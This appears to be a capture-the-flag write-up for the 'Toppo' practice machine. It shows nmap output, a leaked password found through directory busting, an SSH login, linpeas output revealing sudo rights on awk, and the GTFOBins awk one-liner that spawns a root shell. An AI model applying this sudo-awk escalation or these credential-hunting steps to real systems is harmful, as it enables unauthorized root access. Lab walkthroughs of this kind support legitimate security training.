```
PORT
         STATE SERVICE VERSION
22/tcp
                      OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
ssh-hostkey:
   1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)
   2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)
   256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)
256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)
80/tcp
       open http Apache httpd 2.4.10 ((Debian))
_http-title: Clean Blog - Start Bootstrap Theme
http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
   program version port/proto service
                     111/udp rpcbind
   100000 2,3,4
                      111/tcp6 rpcbind
   100000 3,4
                     111/udp6 rpcbind
   100000 3,4
                   36770/tcp6 status
   100024 1
   100024 1
                    36989/udp status
                     47064/udp6 status
                     51821/tcp status
51821/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
```

Through directory busting I managed to find /admin/notes.txt

```
Note to myself:

I need to change my password: / 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer.
```

So we have credentials. Maybe the password is **12345ted123** or **/12345ted1234** or something like that. That colon is a bit weird

I'm embarrassed to say I spent 15 minutes stuck here. SSH creds are **ted:12345ted123**

Looked around for a bit, ran linpeas

```
Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid /etc/sudoers:ted ALL=(ALL) NOPASSWD: /usr/bin/awk
```

GTFOBins...

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
awk 'BEGIN {system("/bin/sh")}'
```

```
ted@Toppo:/home$ awk 'BEGIN {system("/bin/sh")}'
# whoami
root
```

This one was very simple, I guess